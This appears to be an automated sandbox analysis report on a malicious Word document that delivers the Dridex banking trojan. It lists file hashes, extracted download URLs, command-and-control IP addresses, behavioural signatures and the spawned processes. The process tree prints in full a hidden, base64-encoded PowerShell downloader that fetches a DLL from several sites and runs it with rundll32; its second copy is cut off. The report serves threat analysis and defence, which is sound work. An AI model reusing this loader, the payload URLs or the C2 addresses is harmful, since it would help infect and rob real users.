Analysis
-
max time kernel
136s -
max time network
130s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
09-12-2020 14:23
Static task
static1
Behavioral task
behavioral1
Sample
Invoice.29002611.doc
Resource
win7v20201028
General
-
Target
Invoice.29002611.doc
-
Size
121KB
-
MD5
25b5fa933bd817640e0667d6c44492ec
-
SHA1
62dea05abf45ffc52c9310a31bae70b595edf301
-
SHA256
4a982207a74a1474f377367f8a55354d45231cad96b3ca24c69be6e833fa5b55
-
SHA512
f638ea0d0d3e0e107b596fff05357748f30237e8228158e7e3bdae653c576a9711fa16d9f3613479a49a20b921d2048364f58b08bc74f0377e33b7d02f0792c5
Malware Config
Extracted
http://urbanwxrld.com/rimwhu.rar
http://www.madmaxswimwear.com/ikkai8.rar
https://nubemp.com.br/navm0jxg.zip
https://sharpec.com/j6pi9eq7.rar
https://miracle-missions.com/rirgclt4b.zip
https://blackbeardrecords.com/jdtts3krp.zip
https://ochaclean.com/x8qaxr55.zip
https://chakanaecu.com/zvh4acz7.rar
Extracted
dridex
10555
169.255.216.36:443
138.201.138.91:3389
89.174.36.41:4643
87.106.89.36:3389
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4172 4340 cmd.exe -
Processes:
resource yara_rule behavioral2/memory/4048-16-0x00000000041A0000-0x00000000041DD000-memory.dmp dridex_ldr -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exerundll32.exeflow pid process 12 2068 powershell.exe 24 4048 rundll32.exe 26 4048 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 4048 rundll32.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
rundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4768 WINWORD.EXE 4768 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 2068 powershell.exe 2068 powershell.exe 2068 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2068 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4768 WINWORD.EXE 4768 WINWORD.EXE 4768 WINWORD.EXE 4768 WINWORD.EXE 4768 WINWORD.EXE 4768 WINWORD.EXE 4768 WINWORD.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
cmd.exepowershell.exerundll32.exedescription pid process target process PID 4172 wrote to memory of 2808 4172 cmd.exe msg.exe PID 4172 wrote to memory of 2808 4172 cmd.exe msg.exe PID 4172 wrote to memory of 2068 4172 cmd.exe powershell.exe PID 4172 wrote to memory of 2068 4172 cmd.exe powershell.exe PID 2068 wrote to memory of 4080 2068 powershell.exe rundll32.exe PID 2068 wrote to memory of 4080 2068 powershell.exe rundll32.exe PID 4080 wrote to memory of 4048 4080 rundll32.exe rundll32.exe PID 4080 wrote to memory of 4048 4080 rundll32.exe rundll32.exe PID 4080 wrote to memory of 4048 4080 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Invoice.29002611.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IABTAGUAVAAtAGkAVABFAE0AIAAgAHYAYQBSAGkAQQBiAGwARQA6ADkAZwAzACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAzAH0AewAyAH0AewAwAH0AIgAtAGYAIAAnAFIAWQAnACwAJwBPAC4ARABJAHIARQAnACwAJwBPACcALAAnAEMAdAAnACwAJwBTAFkAcwBUAEUATQAuAEkAJwApACkAIAA7ACAAIAAkAGoAdgA2AHQAYQA3ACAAIAA9ACAAWwB0AFkAUABFAF0AKAAiAHsAOAB9AHsAMgB9AHsANAB9AHsAMwB9AHsANQB9AHsAMAB9AHsAMQB9AHsANwB9AHsANgB9ACIALQBmACcASQBDAEUAcABvACcALAAnAEkAbgBUACcALAAnAGUATQAuAG4AJwAsACcAcwBlAHIAJwAsACcARQBUAC4AJwAsACcAVgAnACwAJwBHAGUAcgAnACwAJwBNAGEAbgBBACcALAAnAFMAeQBzAFQAJwApADsAIAAkAFMAaQBnADQAMABqAG4APQAoACgAJwBWACcAKwAnAHkANgAnACkAKwAnADQAJwArACgAJwBrACcAKwAnAF8AZgAnACkAKQA7ACQARwBpAHYAbQA0AHQANgA9ACQAQQBlAGEANAAyAGUAYQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQwBjADYAdwA4ADcAdAA7ACQARAAzAHkAdQBuAGMAcwA9ACgAKAAnAFMAYwBoACcAKwAnAGUAJwApACsAKAAnADAAMgAnACsAJwA3ACcAKQApADsAIAAoACAAZwBDAGkAIABWAGEAUgBpAGEAQgBsAGUAOgA5AEcAMwApAC4AVgBhAGwAdQBFADoAOgAiAEMAcgBlAGAAQQB0AEUARABJAGAAUgBFAEMAdABvAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBsAHUAcwAnACsAJwBFACcAKQArACcAZABnACcAKwAoACcAYgAzADQAdQAnACsAJwBsACcAKQArACgAJwB1AHMAJwArACcATQAnACkAKwAoACcANwBrACcAKwAnAG0AJwApACsAKAAnAGUANwBkACcAKwAnAGwAJwApACsAJwB1AHMAJwApACAAIAAtAHIAZQBQAGwAYQBjAEUAIAAgACgAWwBDAGgAQQBSAF0AMQAwADgAKwBbAEMAaABBAFIAXQAxADEANwArAFsAQwBoAEEAUgBdADEAMQA1ACkALABbAEMAaABBAFIAXQA5ADIAKQApADsAJABTAHgAbABfADYAawBkAD0AKAAnAEYANgAnACsAKAAnAHoAOAAnACsAJwBvADMAaAAnACkAKQA7ACAAKABnAGUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACgAIgBqACIAKwAiAFYANgB0AGEANwAiACkAIAAgAC0AVgBBAGwAVQBlAE8ATgBsAHkAIAApADoAOgAiAHMAYABlAEMAVQByAGAAaQBgAFQAeQBgAFAAUgBPAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKQA7ACQARAByAHkAcwBtAHcAawA9ACgAKAAnAFAAJwArACcAZQBjAHkAOAA4ACcAKQArACcAbwAnACkAOwAkAEQAeABpAG0AcgBoAGkAIAA9ACAAKAAnAEUAJwArACgAJwBvACcAKwAnADcAawAnACkAKwAoACcAdgB1ACcAKwAnAHQAJwApACkAOwAkAFIAYwBtAHQAbgB3AHMAPQAoACcAVwAnACsAKAAnAGsAXwAnACsAJwBzAGQAbgBlACcAKQApADsAJABJAG0AbgAyAGgAcAB6AD0AKAAoACcATABtADEAJwArACcAYQAnACkAKwAnADcAJwArACcAOQBtACcAKQA7ACQARQA3AHYAaAA3ADgAZgA9ACQASABPAE0ARQArACgAKAAoACcAWAA1AGUARQAnACsAJwBkAGcAYgAnACsAJwAzADQAJwApACsAKAAnAHUAJwArACcAWAA1AGUATQAnACkAKwAoACcANwAnACsAJwBrAG0AJwApACsAKAAnAGUANwAnACsAJwBkAFgAJwApACsAJwA1AGUAJwApAC4AIgByAGUAUABsAGAAQQBgAEMARQAiACgAKABbAEMAaABBAHIAXQA4ADgAKwBbAEMAaABBAHIAXQA1ADMAKwBbAEMAaABBAHIAXQAxADAAMQApACwAJwBcACcAKQApACsAJABEAHgAaQBtAHIAaABpACsAKAAnAC4AJwArACgAJwBkAGwAJwArACcAbAAnACkAKQA7ACQAWQA0ADUAawBrADMAdwA9ACgAKAAnAFAAZQA0ACcAKwAnAHcAJwApACsAKAAnADgAJwArACcANwBqACcAKQApADsAJABBADQANAByAGkAegBjAD0AbgBlAFcALQBvAGAAQgBKAEUAYABjAHQAIABuAEUAdAAuAFcAZQBiAGMATABJAGUATgB0ADsAJABTADUAYQBtAHEAZwB2AD0AKAAoACgAKAAnAGgAJwArACcAdAAnACsAJwB0AHAAOgBKACkAKAAzAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAdQByAGIAJwArACcAYQAnACsAJwBuAHcAeAByAGwAJwArACcAZAAuACcAKQApACsAJwBjAG8AJwArACgAKAAnAG0ASgAnACsAJwApACcAKQApACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAnACsAJwAyACkAKAByAGkAJwArACcAbQAnACkAKQArACcAdwBoACcAKwAoACcAdQAuACcAKwAnAHIAJwApACsAJwBhACcAKwAoACgAJwByAEAAaAB0ACcAKwAnAHQAcAAnACsAJwA6ACcAKwAnAEoAKQAoADMAcwAyACkAJwApACkAKwAoACgAJwAoAEoAJwApACkAKwAoACgAJwApACgAJwApACkAKwAnADMAcwAnACsAKAAoACcAMgApACgAdwB3AHcAJwArACcALgBtACcAKwAnAGEAZAAnACkAKQArACgAJwBtACcAKwAnAGEAJwArACcAeABzAHcAaQAnACsAJwBtACcAKwAnAHcAZQBhAHIALgBjAG8AJwApACsAKAAoACcAbQAnACsAJwBKACkAJwApACkAKwAoACgAJwAoADMAcwAnACsAJwAyACcAKQApACsAJwApACcAKwAoACgAJwAoAGkAawBrACcAKwAnAGEAJwApACkAKwAoACcAaQA4AC4AJwArACcAcgAnACkAKwAnAGEAcgAnACsAKAAoACcAQABoAHQAdAAnACsAJwBwAHMAJwArACcAOgBKACcAKwAnACkAJwApACkAKwAoACgAJwAoADMAJwArACcAcwAyACkAKAAnACkAKQArACcASgAnACsAKAAoACcAKQAoADMAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAG4AJwArACcAdQAnACsAJwBiACcAKwAnAGUAbQBwAC4AYwBvAG0ALgBiAHIASgAnACkAKQArACgAKAAnACkAJwArACcAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAKAAnACsAJwBuAGEAJwApACkAKwAoACcAdgBtADAAJwArACcAagB4ACcAKwAnAGcAJwApACsAJwAuACcAKwAoACcAegAnACsAJwBpAHAAQABoAHQAdABwACcAKQArACgAJwBzADoAJwArACcASgAnACkAKwAoACgAJwApACgAJwApACkAKwAnADMAJwArACgAKAAnAHMAMgApACgASgApACcAKwAnACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABzAGgAJwArACcAYQAnACkAKQArACcAcgBwACcAKwAoACcAZQBjACcAKwAnAC4AYwBvAG0AJwApACsAKAAoACcASgAnACsAJwApACgAMwBzACcAKwAnADIAKQAoACcAKwAnAGoANgBwACcAKQApACsAKAAnAGkAOQBlAHEANwAnACsAJwAuAHIAYQAnACsAJwByAEAAaAB0ACcAKQArACcAdABwACcAKwAnAHMAOgAnACsAJwBKACcAKwAoACgAJwApACgAMwAnACsAJwBzADIAJwArACcAKQAoACcAKwAnAEoAKQAnACkAKQArACgAJwAoADMAJwArACcAcwAyACkAJwApACsAKAAoACcAKABtACcAKwAnAGkAJwApACkAKwAoACcAcgBhAGMAbAAnACsAJwBlAC0AJwApACsAKAAoACcAbQBpACcAKwAnAHMAcwBpAG8AbgBzACcAKwAnAC4AYwBvACcAKwAnAG0ASgApACgAMwAnACsAJwBzADIAKQAoAHIAJwArACcAaQByAGcAJwApACkAKwAnAGMAJwArACgAKAAnAGwAJwArACcAdAA0AGIALgAnACsAJwB6AGkAJwArACcAcABAAGgAdAB0AHAAcwA6AEoAKQAnACkAKQArACgAJwAoACcAKwAnADMAcwAyACkAKABKACkAJwApACsAJwAoACcAKwAoACgAJwAzAHMAMgApACgAYgBsACcAKwAnAGEAJwArACcAYwBrACcAKQApACsAKAAnAGIAJwArACcAZQBhAHIAJwApACsAJwBkACcAKwAoACcAcgBlACcAKwAnAGMAbwAnACkAKwAoACgAJwByAGQAcwAuACcAKwAnAGMAbwBtAEoAKQAnACsAJwAoADMAJwArACcAcwAyACcAKwAnACkAKABqAGQAdAB0AHMAMwBrACcAKQApACsAKAAnAHIAcAAuACcAKwAnAHoAaQBwACcAKwAnAEAAaAB0AHQAJwArACcAcAAnACkAKwAoACgAJwBzADoASgApACgAMwAnACsAJwBzACcAKwAnADIAKQAoAEoAKQAnACsAJwAoACcAKQApACsAKAAoACcAMwBzADIAKQAoACcAKwAnAG8AYwBoAGEAYwBsAGUAYQBuACcAKwAnAC4AJwApACkAKwAnAGMAbwAnACsAKAAoACcAbQBKACkAJwArACcAKAAzAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAJwArACcAKAB4ACcAKwAnADgAcQBhACcAKQApACsAKAAnAHgAcgA1ACcAKwAnADUALgB6AGkAJwArACcAcABAAGgAdAB0ACcAKwAnAHAAcwAnACsAJwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAMwBzADIAJwArACcAKQAoACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzACcAKwAnADIAJwApACkAKwAoACgAJwApACcAKwAnACgAYwBoACcAKQApACsAJwBhACcAKwAnAGsAYQAnACsAJwBuACcAKwAoACgAJwBhAGUAYwB1AC4AYwBvAG0AJwArACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoAHoAdgAnACsAJwBoADQAYQAnACkAKQArACgAJwBjAHoAJwArACcANwAuACcAKQArACcAcgBhACcAKwAnAHIAJwApACkALgAiAHIAYABlAFAAbABhAEMARQAiACgAKAAoACcASgAnACsAKAAoACcAKQAnACsAJwAoADMAJwArACcAcwAyACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEcAMwA5AGoAZwAzAHgAIAArACAAJABHAGkAdgBtADQAdAA2ACAAKwAgACQASgBhAGMAYgA4AHMAYwApADsAJABZAHAAdQBrAHQANQA2AD0AKAAoACcAUwAnACsAJwBvAGYAJwApACsAKAAnAGQAJwArACcAeABjAHAAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAYgBsAGQAYgA3AG0AIABpAG4AIAAkAFMANQBhAG0AcQBnAHYAIAB8ACAAUwBgAG8AcgB0AGAALQBgAG8AQgBqAEUAQwB0ACAAewBHAGAARQBUAC0AUgBgAEEAbgBgAGQATwBNAH0AKQB7AHQAcgB5AHsAJABBADQANAByAGkAegBjAC4AIgBEAG8AdwBOAGAAbABgAG8AQQBkAGYASQBgAGwAZQAiACgAJABJAGIAbABkAGIANwBtACwAIAAkAEUANwB2AGgANwA4AGYAKQA7ACQAQgA3ADIAZQBfAGMAcAA9ACgAJwBFAHUAJwArACgAJwA5AGoAJwArACcAMQB2ACcAKQArACcAZAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQARQA3AHYAaAA3ADgAZgApAC4AIgBsAGAAZQBgAE4AZwB0AEgAIgAgAC0AZwBlACAAMwAxADgANwA1ACkAIAB7ACYAKAAnAHIAJwArACcAdQBuAGQAbABsADMAMgAnACsAJwAuAGUAeAAnACsAJwBlACcAKQAgACQARQA3AHYAaAA3ADgAZgAsADAAOwAkAFcAeQBzAGwAMABrAHEAPQAoACcASgAnACsAJwB1ACcAKwAoACcANAAnACsAJwB4AHUAeABrACcAKQApADsAYgByAGUAYQBrADsAJABNADAAYQAzADAAOQA3AD0AKAAoACcASwAnACsAJwBlAF8AJwApACsAJwA4ACcAKwAoACcAdgAnACsAJwA2AGYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAYgAzAG8AOQBqAGQAPQAoACgAJwBJACcAKwAnAGcAeAAnACkAKwAnAHQAJwArACgAJwB3AHQAJwArACcAdwAnACkAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IABTAGUAVAAtAGkAVABFAE0AIAAgAHYAYQBSAGkAQQBiAGwARQA6ADkAZwAzACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAzAH0AewAyAH0AewAwAH0AIgAtAGYAIAAnAFIAWQAnACwAJwBPAC4ARABJAHIARQAnACwAJwBPACcALAAnAEMAdAAnACwAJwBTAFkAcwBUAEUATQAuAEkAJwApACkAIAA7ACAAIAAkAGoAdgA2AHQAYQA3ACAAIAA9ACAAWwB0AFkAUABFAF0AKAAiAHsAOAB9AHsAMgB9AHsANAB9AHsAMwB9AHsANQB9AHsAMAB9AHsAMQB9AHsANwB9AHsANgB9ACIALQBmACcASQBDAEUAcABvACcALAAnAEkAbgBUACcALAAnAGUATQAuAG4AJwAsACcAcwBlAHIAJwAsACcARQBUAC4AJwAsACcAVgAnACwAJwBHAGUAcgAnACwAJwBNAGEAbgBBACcALAAnAFMAeQBzAFQAJwApADsAIAAkAFMAaQBnADQAMABqAG4APQAoACgAJwBWACcAKwAnAHkANgAnACkAKwAnADQAJwArACgAJwBrACcAKwAnAF8AZgAnACkAKQA7ACQARwBpAHYAbQA0AHQANgA9ACQAQQBlAGEANAAyAGUAYQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQwBjADYAdwA4ADcAdAA7ACQARAAzAHkAdQBuAGMAcwA9ACgAKAAnAFMAYwBoACcAKwAnAGUAJwApACsAKAAnADAAMgAnACsAJwA3ACcAKQApADsAIAAoACAAZwBDAGkAIABWAGEAUgBpAGEAQgBsAGUAOgA5AEcAMwApAC4AVgBhAGwAdQBFADoAOgAiAEMAcgBlAGAAQQB0AEUARABJAGAAUgBFAEMAdABvAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBsAHUAcwAnACsAJwBFACcAKQArACcAZABnACcAKwAoACcAYgAzADQAdQAnACsAJwBsACcAKQArACgAJwB1AHMAJwArACcATQAnACkAKwAoACcANwBrACcAKwAnAG0AJwApACsAKAAnAGUANwBkACcAKwAnAGwAJwApACsAJwB1AHMAJwApACAAIAAtAHIAZQBQAGwAYQBjAEUAIAAgACgAWwBDAGgAQQBSAF0AMQAwADgAKwBbAEMAaABBAFIAXQAxADEANwArAFsAQwBoAEEAUgBdADEAMQA1ACkALABbAEMAaABBAFIAXQA5ADIAKQApADsAJABTAHgAbABfADYAawBkAD0AKAAnAEYANgAnACsAKAAnAHoAOAAnACsAJwBvADMAaAAnACkAKQA7ACAAKABnAGUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACgAIgBqACIAKwAiAFYANgB0AGEANwAiACkAIAAgAC0AVgBBAGwAVQBlAE8ATgBsAHkAIAApADoAOgAiAHMAYABlAEMAVQByAGAAaQBgAFQAeQBgAFAAUgBPAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKQA7ACQARAByAHkAcwBtAHcAawA9ACgAKAAnAFAAJwArACcAZQBjAHkAOAA4ACcAKQArACcAbwAnACkAOwAkAEQAeABpAG0AcgBoAGkAIAA9ACAAKAAnAEUAJwArACgAJwBvACcAKwAnADcAawAnACkAKwAoACcAdgB1ACcAKwAnAHQAJwApACkAOwAkAFIAYwBtAHQAbgB3AHMAPQAoACcAVwAnACsAKAAnAGsAXwAnACsAJwBzAGQAbgBlACcAKQApADsAJABJAG0AbgAyAGgAcAB6AD0AKAAoACcATABtADEAJwArACcAYQAnACkAKwAnADcAJwArACcAOQBtACcAKQA7ACQARQA3AHYAaAA3ADgAZgA9ACQASABPAE0ARQArACgAKAAoACcAWAA1AGUARQAnACsAJwBkAGcAYgAnACsAJwAzADQAJwApACsAKAAnAHUAJwArACcAWAA1AGUATQAnACkAKwAoACcANwAnACsAJwBrAG0AJwApACsAKAAnAGUANwAnACsAJwBkAFgAJwApACsAJwA1AGUAJwApAC4AIgByAGUAUABsAGAAQQBgAEMARQAiACgAKABbAEMAaABBAHIAXQA4ADgAKwBbAEMAaABBAHIAXQA1ADMAKwBbAEMAaABBAHIAXQAxADAAMQApACwAJwBcACcAKQApACsAJABEAHgAaQBtAHIAaABpACsAKAAnAC4AJwArACgAJwBkAGwAJwArACcAbAAnACkAKQA7ACQAWQA0ADUAawBrADMAdwA9ACgAKAAnAFAAZQA0ACcAKwAnAHcAJwApACsAKAAnADgAJwArACcANwBqACcAKQApADsAJABBADQANAByAGkAegBjAD0AbgBlAFcALQBvAGAAQgBKAEUAYABjAHQAIABuAEUAdAAuAFcAZQBiAGMATABJAGUATgB0ADsAJABTADUAYQBtAHEAZwB2AD0AKAAoACgAKAAnAGgAJwArACcAdAAnACsAJwB0AHAAOgBKACkAKAAzAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAdQByAGIAJwArACcAYQAnACsAJwBuAHcAeAByAGwAJwArACcAZAAuACcAKQApACsAJwBjAG8AJwArACgAKAAnAG0ASgAnACsAJwApACcAKQApACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAnACsAJwAyACkAKAByAGkAJwArACcAbQAnACkAKQArACcAdwBoACcAKwAoACcAdQAuACcAKwAnAHIAJwApACsAJwBhACcAKwAoACgAJwByAEAAaAB0ACcAKwAnAHQAcAAnACsAJwA6ACcAKwAnAEoAKQAoADMAcwAyACkAJwApACkAKwAoACgAJwAoAEoAJwApACkAKwAoACgAJwApACgAJwApACkAKwAnADMAcwAnACsAKAAoACcAMgApACgAdwB3AHcAJwArACcALgBtACcAKwAnAGEAZAAnACkAKQArACgAJwBtACcAKwAnAGEAJwArACcAeABzAHcAaQAnACsAJwBtACcAKwAnAHcAZQBhAHIALgBjAG8AJwApACsAKAAoACcAbQAnACsAJwBKACkAJwApACkAKwAoACgAJwAoADMAcwAnACsAJwAyACcAKQApACsAJwApACcAKwAoACgAJwAoAGkAawBrACcAKwAnAGEAJwApACkAKwAoACcAaQA4AC4AJwArACcAcgAnACkAKwAnAGEAcgAnACsAKAAoACcAQABoAHQAdAAnACsAJwBwAHMAJwArACcAOgBKACcAKwAnACkAJwApACkAKwAoACgAJwAoADMAJwArACcAcwAyACkAKAAnACkAKQArACcASgAnACsAKAAoACcAKQAoADMAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAG4AJwArACcAdQAnACsAJwBiACcAKwAnAGUAbQBwAC4AYwBvAG0ALgBiAHIASgAnACkAKQArACgAKAAnACkAJwArACcAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAKAAnACsAJwBuAGEAJwApACkAKwAoACcAdgBtADAAJwArACcAagB4ACcAKwAnAGcAJwApACsAJwAuACcAKwAoACcAegAnACsAJwBpAHAAQABoAHQAdABwACcAKQArACgAJwBzADoAJwArACcASgAnACkAKwAoACgAJwApACgAJwApACkAKwAnADMAJwArACgAKAAnAHMAMgApACgASgApACcAKwAnACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABzAGgAJwArACcAYQAnACkAKQArACcAcgBwACcAKwAoACcAZQBjACcAKwAnAC4AYwBvAG0AJwApACsAKAAoACcASgAnACsAJwApACgAMwBzACcAKwAnADIAKQAoACcAKwAnAGoANgBwACcAKQApACsAKAAnAGkAOQBlAHEANwAnACsAJwAuAHIAYQAnACsAJwByAEAAaAB0ACcAKQArACcAdABwACcAKwAnAHMAOgAnACsAJwBKACcAKwAoACgAJwApACgAMwAnACsAJwBzADIAJwArACcAKQAoACcAKwAnAEoAKQAnACkAKQArACgAJwAoADMAJwArACcAcwAyACkAJwApACsAKAAoACcAKABtACcAKwAnAGkAJwApACkAKwAoACcAcgBhAGMAbAAnACsAJwBlAC0AJwApACsAKAAoACcAbQBpACcAKwAnAHMAcwBpAG8AbgBzACcAKwAnAC4AYwBvACcAKwAnAG0ASgApACgAMwAnACsAJwBzADIAKQAoAHIAJwArACcAaQByAGcAJwApACkAKwAnAGMAJwArACgAKAAnAGwAJwArACcAdAA0AGIALgAnACsAJwB6AGkAJwArACcAcABAAGgAdAB0AHAAcwA6AEoAKQAnACkAKQArACgAJwAoACcAKwAnADMAcwAyACkAKABKACkAJwApACsAJwAoACcAKwAoACgAJwAzAHMAMgApACgAYgBsACcAKwAnAGEAJwArACcAYwBrACcAKQApACsAKAAnAGIAJwArACcAZQBhAHIAJwApACsAJwBkACcAKwAoACcAcgBlACcAKwAnAGMAbwAnACkAKwAoACgAJwByAGQAcwAuACcAKwAnAGMAbwBtAEoAKQAnACsAJwAoADMAJwArACcAcwAyACcAKwAnACkAKABqAGQAdAB0AHMAMwBrACcAKQApACsAKAAnAHIAcAAuACcAKwAnAHoAaQBwACcAKwAnAEAAaAB0AHQAJwArACcAcAAnACkAKwAoACgAJwBzADoASgApACgAMwAnACsAJwBzACcAKwAnADIAKQAoAEoAKQAnACsAJwAoACcAKQApACsAKAAoACcAMwBzADIAKQAoACcAKwAnAG8AYwBoAGEAYwBsAGUAYQBuACcAKwAnAC4AJwApACkAKwAnAGMAbwAnACsAKAAoACcAbQBKACkAJwArACcAKAAzAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAJwArACcAKAB4ACcAKwAnADgAcQBhACcAKQApACsAKAAnAHgAcgA1ACcAKwAnADUALgB6AGkAJwArACcAcABAAGgAdAB0ACcAKwAnAHAAcwAnACsAJwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAMwBzADIAJwArACcAKQAoACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzACcAKwAnADIAJwApACkAKwAoACgAJwApACcAKwAnACgAYwBoACcAKQApACsAJwBhACcAKwAnAGsAYQAnACsAJwBuACcAKwAoACgAJwBhAGUAYwB1AC4AYwBvAG0AJwArACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoAHoAdgAnACsAJwBoADQAYQAnACkAKQArACgAJwBjAHoAJwArACcANwAuACcAKQArACcAcgBhACcAKwAnAHIAJwApACkALgAiAHIAYABlAFAAbABhAEMARQAiACgAKAAoACcASgAnACsAKAAoACcAKQAnACsAJwAoADMAJwArACcAcwAyACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEcAMwA5AGoAZwAzAHgAIAArACAAJABHAGkAdgBtADQAdAA2ACAAKwAgACQASgBhAGMAYgA4AHMAYwApADsAJABZAHAAdQBrAHQANQA2AD0AKAAoACcAUwAnACsAJwBvAGYAJwApACsAKAAnAGQAJwArACcAeABjAHAAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAYgBsAGQAYgA3AG0AIABpAG4AIAAkAFMANQBhAG0AcQBnAHYAIAB8ACAAUwBgAG8AcgB0AGAALQBgAG8AQgBqAEUAQwB0ACAAewBHAGAARQBUAC0AUgBgAEEAbgBgAGQATwBNAH0AKQB7AHQAcgB5AHsAJABBADQANAByAGkAegBjAC4AIgBEAG8AdwBOAGAAbABgAG8AQQBkAGYASQBgAGwAZQAiACgAJABJAGIAbABkAGIANwBtACwAIAAkAEUANwB2AGgANwA4AGYAKQA7ACQAQgA3ADIAZQBfAGMAcAA9ACgAJwBFAHUAJwArACgAJwA5AGoAJwArACcAMQB2ACcAKQArACcAZAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQARQA3AHYAaAA3ADgAZgApAC4AIgBsAGAAZQBgAE4AZwB0AEgAIgAgAC0AZwBlACAAMwAxADgANwA1ACkAIAB7ACYAKAAnAHIAJwArACcAdQBuAGQAbABsADMAMgAnACsAJwAuAGUAeAAnACsAJwBlACcAKQAgACQARQA3AHYAaAA3ADgAZgAsADAAOwAkAFcAeQBzAGwAMABrAHEAPQAoACcASgAnACsAJwB1ACcAKwAoACcANAAnACsAJwB4AHUAeABrACcAKQApADsAYgByAGUAYQBrADsAJABNADAAYQAzADAAOQA